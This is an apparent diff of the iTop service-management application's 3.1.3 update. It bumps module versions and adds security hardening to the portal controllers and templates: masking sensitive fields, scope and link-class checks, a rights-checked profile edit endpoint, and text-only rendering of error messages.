* Helper for object deletion
|
||||
*/
|
||||
@@ -875,3 +928,50 @@ class CoreServices implements iRestServiceProvider
|
||||
return $iLimit * max(0, $iPage - 1);
|
||||
}
|
||||
}
|
||||
|
||||
trait SanitizeTrait
|
||||
{
|
||||
/**
|
||||
* Sanitize a field if it is sensitive.
|
||||
*
|
||||
* @param array $fields The fields array
|
||||
* @param string $sFieldAttCode The attribute code
|
||||
* @param mixed $oAttDef The attribute definition
|
||||
* @throws Exception
|
||||
*/
|
||||
private function SanitizeFieldIfSensitive(array &$fields, string $sFieldAttCode, $fieldValue, $oAttDef): void
|
||||
{
|
||||
// for simple attribute
|
||||
if ($oAttDef instanceof iAttributeNoGroupBy) // iAttributeNoGroupBy is equivalent to sensitive attribute
|
||||
{
|
||||
$fields[$sFieldAttCode] = '*****';
|
||||
return;
|
||||
}
|
||||
// for 1-n / n-n relation
|
||||
if ($oAttDef instanceof AttributeLinkedSet) {
|
||||
foreach ($fieldValue as $i => $aLnkValues) {
|
||||
foreach ($aLnkValues as $sLnkAttCode => $sLnkValue) {
|
||||
$oLnkAttDef = MetaModel::GetAttributeDef($oAttDef->GetLinkedClass(), $sLnkAttCode);
|
||||
if ($oLnkAttDef instanceof iAttributeNoGroupBy) { // 1-n relation
|
||||
$fields[$sFieldAttCode][$i][$sLnkAttCode] = '*****';
|
||||
}
|
||||
elseif ($oAttDef instanceof AttributeLinkedSetIndirect && $oLnkAttDef instanceof AttributeExternalField) { // for n-n relation
|
||||
$oExtKeyAttDef = MetaModel::GetAttributeDef($oLnkAttDef->GetTargetClass(), $oLnkAttDef->GetExtAttCode());
|
||||
if ($oExtKeyAttDef instanceof iAttributeNoGroupBy) {
|
||||
$fields[$sFieldAttCode][$i][$sLnkAttCode] = '*****';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// for external attribute
|
||||
if ($oAttDef instanceof AttributeExternalField) {
|
||||
$oExtKeyAttDef = MetaModel::GetAttributeDef($oAttDef->GetTargetClass(), $oAttDef->GetExtAttCode());
|
||||
if ($oExtKeyAttDef instanceof iAttributeNoGroupBy) {
|
||||
$fields[$sFieldAttCode] = '*****';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'authent-cas/3.1.1',
|
||||
'authent-cas/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'authent-external/3.1.1',
|
||||
'authent-external/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -9,7 +9,7 @@ if (function_exists('ldap_connect'))
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'authent-ldap/3.1.1',
|
||||
'authent-ldap/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'authent-local/3.1.1',
|
||||
'authent-local/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'combodo-backoffice-darkmoon-theme/3.1.1',
|
||||
'combodo-backoffice-darkmoon-theme/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
/** @noinspection PhpUnhandledExceptionInspection */
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'combodo-db-tools/3.1.1',
|
||||
'combodo-db-tools/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-attachments/3.1.1',
|
||||
'itop-attachments/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-backup/3.1.1',
|
||||
'itop-backup/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-cmdb-services/3.1.1',
|
||||
'itop-bridge-cmdb-services/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-cmdb-ticket/3.1.1',
|
||||
'itop-bridge-cmdb-ticket/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-datacenter-mgmt-services/3.1.1',
|
||||
'itop-bridge-datacenter-mgmt-services/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-endusers-devices-services/3.1.1',
|
||||
'itop-bridge-endusers-devices-services/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-storage-mgmt-services/3.1.1',
|
||||
'itop-bridge-storage-mgmt-services/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-virtualization-mgmt-services/3.1.1',
|
||||
'itop-bridge-virtualization-mgmt-services/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-bridge-virtualization-storage/3.1.1',
|
||||
'itop-bridge-virtualization-storage/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-change-mgmt-itil/3.1.1',
|
||||
'itop-change-mgmt-itil/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-change-mgmt/3.1.1',
|
||||
'itop-change-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-config-mgmt/3.1.1',
|
||||
'itop-config-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-config/3.1.1',
|
||||
'itop-config/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
/** @noinspection PhpUnhandledExceptionInspection */
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-core-update/3.1.1',
|
||||
'itop-core-update/3.1.3',
|
||||
[
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-datacenter-mgmt/3.1.1',
|
||||
'itop-datacenter-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-endusers-devices/3.1.1',
|
||||
'itop-endusers-devices/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-faq-light/3.1.1',
|
||||
'itop-faq-light/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
/** @noinspection PhpUnhandledExceptionInspection */
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-files-information/3.1.1',
|
||||
'itop-files-information/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-full-itil/3.1.1',
|
||||
'itop-full-itil/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-hub-connector/3.1.1',
|
||||
'itop-hub-connector/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-incident-mgmt-itil/3.1.1',
|
||||
'itop-incident-mgmt-itil/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-knownerror-mgmt/3.1.1',
|
||||
'itop-knownerror-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-oauth-client/3.1.1',
|
||||
'itop-oauth-client/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
/** @noinspection PhpUnhandledExceptionInspection */
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-portal-base/3.1.1', array(
|
||||
'itop-portal-base/3.1.3', array(
|
||||
// Identification
|
||||
'label' => 'Portal Development Library',
|
||||
'category' => 'Portal',
|
||||
|
||||
@@ -15,6 +15,11 @@
|
||||
# You should have received a copy of the GNU Affero General Public License
|
||||
# along with iTop. If not, see <http://www.gnu.org/licenses/>
|
||||
|
||||
p_user_profile_brick_edit_person:
|
||||
path: '/user/edit_person'
|
||||
defaults:
|
||||
_controller: 'Combodo\iTop\Portal\Controller\UserProfileBrickController::EditPerson'
|
||||
|
||||
p_user_profile_brick:
|
||||
path: '/user/{sBrickId}'
|
||||
defaults:
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1334,6 +1334,11 @@ class ObjectController extends BrickController
|
||||
$bIgnoreSilos = $oScopeValidator->IsAllDataAllowedForScope(UserRights::ListProfiles(), $sObjectClass);
|
||||
$aParams = array('objects_id' => $aObjectIds);
|
||||
$oSearch = DBObjectSearch::FromOQL("SELECT $sObjectClass WHERE id IN (:objects_id)");
|
||||
if (!$oScopeValidator->AddScopeToQuery($oSearch, $sObjectClass)
|
||||
) {
|
||||
IssueLog::Warning(__METHOD__ . ' at line ' . __LINE__ . ' : User #' . UserRights::GetUserId() . ' not allowed to read ' . $sObjectClass . ' object.');
|
||||
throw new HttpException(Response::HTTP_NOT_FOUND, Dict::S('UI:ObjectDoesNotExist'));
|
||||
}
|
||||
if ($bIgnoreSilos === true) {
|
||||
$oSearch->AllowAllData();
|
||||
}
|
||||
@@ -1389,6 +1394,10 @@ class ObjectController extends BrickController
|
||||
$aObjectAttCodes = $oRequestManipulator->ReadParam('aObjectAttCodes', array(), FILTER_UNSAFE_RAW);
|
||||
$aLinkAttCodes = $oRequestManipulator->ReadParam('aLinkAttCodes', array(), FILTER_UNSAFE_RAW);
|
||||
$sDateTimePickerWidgetParent = $oRequestManipulator->ReadParam('sDateTimePickerWidgetParent', array(), FILTER_UNSAFE_RAW);
|
||||
if (!MetaModel::IsLinkClass($sLinkClass)) {
|
||||
IssueLog::Warning(__METHOD__.' at line '.__LINE__.' : User #'.UserRights::GetUserId().' asked for wrong lnk class '.$sLinkClass);
|
||||
throw new HttpException(Response::HTTP_NOT_FOUND, Dict::S('UI:ObjectDoesNotExist'));
|
||||
}
|
||||
|
||||
if (empty($sObjectClass) || empty($aObjectIds) || empty($aObjectAttCodes)) {
|
||||
IssueLog::Info(__METHOD__.' at line '.__LINE__.' : sObjectClass, aObjectIds and aObjectAttCodes expected, "'.$sObjectClass.'", "'.implode('/',
|
||||
@@ -1400,7 +1409,12 @@ class ObjectController extends BrickController
|
||||
$bIgnoreSilos = $oScopeValidator->IsAllDataAllowedForScope(UserRights::ListProfiles(), $sObjectClass);
|
||||
$aParams = array('objects_id' => $aObjectIds);
|
||||
$oSearch = DBObjectSearch::FromOQL("SELECT $sObjectClass WHERE id IN (:objects_id)");
|
||||
if ($bIgnoreSilos === true)
|
||||
if (!$oScopeValidator->AddScopeToQuery($oSearch, $sObjectClass)
|
||||
) {
|
||||
IssueLog::Warning(__METHOD__ . ' at line ' . __LINE__ . ' : User #' . UserRights::GetUserId() . ' not allowed to read ' . $sObjectClass . ' object.');
|
||||
throw new HttpException(Response::HTTP_NOT_FOUND, Dict::S('UI:ObjectDoesNotExist'));
|
||||
}
|
||||
if ($bIgnoreSilos === true)
|
||||
{
|
||||
$oSearch->AllowAllData();
|
||||
}
|
||||
@@ -1418,10 +1432,35 @@ class ObjectController extends BrickController
|
||||
// Prepare link data
|
||||
$aObjectData = $this->PrepareObjectInformation($oObject, $aObjectAttCodes);
|
||||
// New link object (needed for renderers)
|
||||
$oNewLink = new $sLinkClass();
|
||||
$aAttCodes = MetaModel::GetAttributesList($sLinkClass, ['AttributeExternalKey']);
|
||||
$sAttCodeToObject = '';
|
||||
foreach ($aAttCodes as $sAttCode) {
|
||||
$oAttDef = MetaModel::GetAttributeDef($sLinkClass, $sAttCode);
|
||||
/** @var \AttributeExternalKey $oAttDef */
|
||||
if ($oAttDef->GetTargetClass() === $sObjectClass) {
|
||||
$sAttCodeToObject = $sAttCode;
|
||||
}
|
||||
}
|
||||
if ($sAttCodeToObject === '') {
|
||||
IssueLog::Warning(__METHOD__.' at line '.__LINE__.' : User #'.UserRights::GetUserId().' asked for incoherent lnk class '.$sLinkClass.' with object class '.$sObjectClass);
|
||||
throw new HttpException(Response::HTTP_NOT_FOUND, Dict::S('UI:ObjectDoesNotExist'));
|
||||
}
|
||||
$oNewLink = MetaModel::NewObject($sLinkClass, [
|
||||
$sAttCodeToObject => $oObject->GetKey(), // so later placeholders in filters will be applied on external keys on the same link
|
||||
]);
|
||||
foreach ($aLinkAttCodes as $sAttCode) {
|
||||
$oAttDef = MetaModel::GetAttributeDef($sLinkClass, $sAttCode);
|
||||
/** @var \Combodo\iTop\Form\Field\SelectObjectField $oField */
|
||||
$oField = $oAttDef->MakeFormField($oNewLink);
|
||||
if ($oAttDef::GetFormFieldClass() === '\\Combodo\\iTop\\Form\\Field\\SelectObjectField') {
|
||||
$oFieldSearch = $oField->GetSearch();
|
||||
$sFieldClass = $oFieldSearch->GetClass();
|
||||
if ($oScopeValidator->AddScopeToQuery($oFieldSearch, $sFieldClass)){
|
||||
$oField->SetSearch($oFieldSearch);
|
||||
} else {
|
||||
$oField->SetSearch(DBObjectSearch::FromOQL("SELECT $sFieldClass WHERE 1=0"));
|
||||
}
|
||||
}
|
||||
// Prevent datetimepicker popup to be truncated
|
||||
if ($oField instanceof DateTimeField) {
|
||||
$oField->SetDateTimePickerWidgetParent($sDateTimePickerWidgetParent);
|
||||
|
||||
@@ -35,7 +35,7 @@ use Symfony\Component\HttpFoundation\Response;
|
||||
use Symfony\Component\HttpKernel\Exception\HttpException;
|
||||
use UserRights;
|
||||
use utils;
|
||||
|
||||
use Dict;
|
||||
/**
|
||||
* Class UserProfileBrickController
|
||||
*
|
||||
@@ -66,34 +66,9 @@ class UserProfileBrickController extends BrickController
|
||||
$oRequestManipulator = $this->get('request_manipulator');
|
||||
/** @var \Combodo\iTop\Portal\Helper\ObjectFormHandlerHelper $ObjectFormHandler */
|
||||
$ObjectFormHandler = $this->get('object_form_handler');
|
||||
/** @var \Combodo\iTop\Portal\Brick\BrickCollection $oBrickCollection */
|
||||
$oBrickCollection = $this->get('brick_collection');
|
||||
$oBrick = $this->GetBrick($sBrickId);
|
||||
|
||||
// If the brick id was not specified, we get the first one registered that is an instance of UserProfileBrick as default
|
||||
if ($sBrickId === null)
|
||||
{
|
||||
/** @var \Combodo\iTop\Portal\Brick\PortalBrick $oTmpBrick */
|
||||
foreach ($oBrickCollection->GetBricks() as $oTmpBrick)
|
||||
{
|
||||
if ($oTmpBrick instanceof UserProfileBrick)
|
||||
{
|
||||
$oBrick = $oTmpBrick;
|
||||
}
|
||||
}
|
||||
|
||||
// We make sure a UserProfileBrick was found
|
||||
if (!isset($oBrick) || $oBrick === null)
|
||||
{
|
||||
$oBrick = new UserProfileBrick();
|
||||
//throw new HttpException(Response::HTTP_INTERNAL_SERVER_ERROR, 'UserProfileBrick : Brick could not be loaded as there was no UserProfileBrick loaded in the application.');
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$oBrick = $oBrickCollection->GetBrickById($sBrickId);
|
||||
}
|
||||
|
||||
$aData = array();
|
||||
$aData = array();
|
||||
|
||||
// Setting form mode regarding the demo mode parameter
|
||||
$bDemoMode = MetaModel::GetConfig()->Get('demo_mode');
|
||||
@@ -130,11 +105,12 @@ class UserProfileBrickController extends BrickController
|
||||
$oCurContact = UserRights::GetContactObject();
|
||||
$sCurContactClass = get_class($oCurContact);
|
||||
$sCurContactId = $oCurContact->GetKey();
|
||||
|
||||
$aForm = $oBrick->GetForm();
|
||||
$aForm['submit_endpoint'] = $this->generateUrl('p_user_profile_brick_edit_person', ['sBrickId' => $sBrickId]);
|
||||
// Preparing forms
|
||||
$aData['forms']['contact'] = $ObjectFormHandler->HandleForm($oRequest, $sFormMode, $sCurContactClass, $sCurContactId,
|
||||
$oBrick->GetForm());
|
||||
$aData['forms']['preferences'] = $this->HandlePreferencesForm($oRequest, $sFormMode);
|
||||
$aData['forms']['contact'] = $ObjectFormHandler->HandleForm($oRequest, $sFormMode, $sCurContactClass, $sCurContactId,
|
||||
$aForm);
|
||||
$aData['forms']['preferences'] = $this->HandlePreferencesForm($oRequest, $sFormMode);
|
||||
// - If user can change password, we display the form
|
||||
$aData['forms']['password'] = (UserRights::CanChangePassword()) ? $this->HandlePasswordForm($oRequest, $sFormMode) : null;
|
||||
|
||||
@@ -150,6 +126,35 @@ class UserProfileBrickController extends BrickController
|
||||
return $oResponse;
|
||||
}
|
||||
|
||||
public function EditPerson(Request $oRequest)
|
||||
{
|
||||
/** @var \Combodo\iTop\Portal\Helper\ObjectFormHandlerHelper $oObjectFormHandler */
|
||||
$oObjectFormHandler = $this->get('object_form_handler');
|
||||
/** @var \Combodo\iTop\Portal\Helper\SecurityHelper $oSecurityHelper */
|
||||
$oSecurityHelper = $this->get('security_helper');
|
||||
|
||||
$oCurContact = UserRights::GetContactObject();
|
||||
$sObjectClass = get_class($oCurContact);
|
||||
$sObjectId = $oCurContact->GetKey();
|
||||
|
||||
// Checking security layers
|
||||
// Warning : This is a dirty quick fix to allow editing its own contact information
|
||||
$bAllowWrite = ($sObjectClass === 'Person' && $sObjectId == UserRights::GetContactId());
|
||||
if (!$oSecurityHelper->IsActionAllowed(UR_ACTION_MODIFY, $sObjectClass, $sObjectId) && !$bAllowWrite) {
|
||||
IssueLog::Warning(__METHOD__ . ' at line ' . __LINE__ . ' : User #' . UserRights::GetUserId() . ' not allowed to modify ' . $sObjectClass . '::' . $sObjectId . ' object.');
|
||||
throw new HttpException(Response::HTTP_NOT_FOUND, Dict::S('UI:ObjectDoesNotExist'));
|
||||
}
|
||||
|
||||
$aForm = $this->GetBrick()->GetForm();
|
||||
$aForm['submit_endpoint'] = $this->generateUrl('p_user_profile_brick_edit_person');
|
||||
|
||||
$aData = ['sMode' => 'edit'];
|
||||
$aData['form'] = $oObjectFormHandler->HandleForm($oRequest, $aData['sMode'], $sObjectClass, $sObjectId, $aForm);
|
||||
|
||||
return new JsonResponse($aData);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param \Symfony\Component\HttpFoundation\Request $oRequest
|
||||
* @param string $sFormMode
|
||||
@@ -381,7 +386,7 @@ class UserProfileBrickController extends BrickController
|
||||
'sObjectField' => $sPictureAttCode,
|
||||
'cache' => 86400,
|
||||
's' => $oOrmDoc->GetSignature(),
|
||||
]);
|
||||
]);
|
||||
$aFormData['validation'] = array(
|
||||
'valid' => true,
|
||||
'messages' => array(),
|
||||
@@ -394,4 +399,34 @@ class UserProfileBrickController extends BrickController
|
||||
return $aFormData;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $sBrickId
|
||||
* @return \Combodo\iTop\Portal\Brick\PortalBrick|UserProfileBrick
|
||||
* @throws \Combodo\iTop\Portal\Brick\BrickNotFoundException
|
||||
*/
|
||||
public function GetBrick($sBrickId = null)
|
||||
{
|
||||
/** @var \Combodo\iTop\Portal\Brick\BrickCollection $oBrickCollection */
|
||||
$oBrickCollection = $this->get('brick_collection');
|
||||
|
||||
// If the brick id was not specified, we get the first one registered that is an instance of UserProfileBrick as default
|
||||
if ($sBrickId === null) {
|
||||
/** @var \Combodo\iTop\Portal\Brick\PortalBrick $oTmpBrick */
|
||||
foreach ($oBrickCollection->GetBricks() as $oTmpBrick) {
|
||||
if ($oTmpBrick instanceof UserProfileBrick) {
|
||||
$oBrick = $oTmpBrick;
|
||||
}
|
||||
}
|
||||
|
||||
// We make sure a UserProfileBrick was found
|
||||
if (!isset($oBrick) || $oBrick === null) {
|
||||
$oBrick = new UserProfileBrick();
|
||||
//throw new HttpException(Response::HTTP_INTERNAL_SERVER_ERROR, 'UserProfileBrick : Brick could not be loaded as there was no UserProfileBrick loaded in the application.');
|
||||
}
|
||||
} else {
|
||||
$oBrick = $oBrickCollection->GetBrickById($sBrickId);
|
||||
}
|
||||
return $oBrick;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -242,13 +242,17 @@ class ObjectFormHandlerHelper
|
||||
case static::ENUM_MODE_CREATE:
|
||||
case static::ENUM_MODE_EDIT:
|
||||
case static::ENUM_MODE_VIEW:
|
||||
$sFormEndpoint = $this->oUrlGenerator->generate(
|
||||
'p_object_'.$sMode,
|
||||
array(
|
||||
'sObjectClass' => $sObjectClass,
|
||||
'sObjectId' => $sObjectId,
|
||||
)
|
||||
);
|
||||
if(array_key_exists('submit_endpoint', $aFormProperties)) {
|
||||
$sFormEndpoint = $aFormProperties['submit_endpoint'];
|
||||
} else {
|
||||
$sFormEndpoint = $this->oUrlGenerator->generate(
|
||||
'p_object_' . $sMode,
|
||||
array(
|
||||
'sObjectClass' => $sObjectClass,
|
||||
'sObjectId' => $sObjectId,
|
||||
)
|
||||
);
|
||||
}
|
||||
break;
|
||||
|
||||
case static::ENUM_MODE_APPLY_STIMULUS:
|
||||
@@ -281,7 +285,8 @@ class ObjectFormHandlerHelper
|
||||
->SetActionRulesToken($sActionRulesToken)
|
||||
->SetRenderer($oFormRenderer)
|
||||
->SetFormProperties($aFormProperties);
|
||||
|
||||
$oFormManager->PrepareFormAndHTMLDocument();
|
||||
$oFormManager->PrepareFields();
|
||||
$oFormManager->Build();
|
||||
$aFormData['hidden_fields'] = $oFormManager->GetHiddenFieldsId();
|
||||
// Check the number of editable fields
|
||||
@@ -399,7 +404,7 @@ class ObjectFormHandlerHelper
|
||||
ApplicationContext::MakeObjectUrl($sObjectClass, $sObjectId)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
return $aFormData;
|
||||
}
|
||||
|
||||
|
||||
@@ -476,8 +476,8 @@
|
||||
sBody = '{{ 'Error:XHR:Fail'|dict_format(constant('ITOP_APPLICATION_SHORT'))|escape('js') }}';
|
||||
}
|
||||
var oModalElem = $('#modal-for-alert');
|
||||
oModalElem.find('.modal-content .modal-header .modal-title').html(sTitle);
|
||||
oModalElem.find('.modal-content .modal-body .alert').addClass('alert-danger').html(sBody);
|
||||
oModalElem.find('.modal-content .modal-header .modal-title').text(sTitle);
|
||||
oModalElem.find('.modal-content .modal-body .alert').addClass('alert-danger').text(sBody);
|
||||
oModalElem.modal('show');
|
||||
};
|
||||
{% endblock %}
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
/** @noinspection PhpUnhandledExceptionInspection */
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-portal/3.1.1', array(
|
||||
'itop-portal/3.1.3', array(
|
||||
// Identification
|
||||
'label' => 'Enhanced Customer Portal',
|
||||
'category' => 'Portal',
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-problem-mgmt/3.1.1',
|
||||
'itop-problem-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-profiles-itil/3.1.1',
|
||||
'itop-profiles-itil/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-request-mgmt-itil/3.1.1',
|
||||
'itop-request-mgmt-itil/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-request-mgmt/3.1.1',
|
||||
'itop-request-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-service-mgmt-provider/3.1.1',
|
||||
'itop-service-mgmt-provider/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-service-mgmt/3.1.1',
|
||||
'itop-service-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-sla-computation/3.1.1',
|
||||
'itop-sla-computation/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-storage-mgmt/3.1.1',
|
||||
'itop-storage-mgmt/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-structure/3.1.1',
|
||||
'itop-structure/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
||||
__FILE__, // Path to the current file, all other file names are relative to the directory containing this file
|
||||
'itop-themes-compat/3.1.1',
|
||||
'itop-themes-compat/3.1.3',
|
||||
array(
|
||||
// Identification
|
||||
//
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
SetupWebPage::AddModule(
|
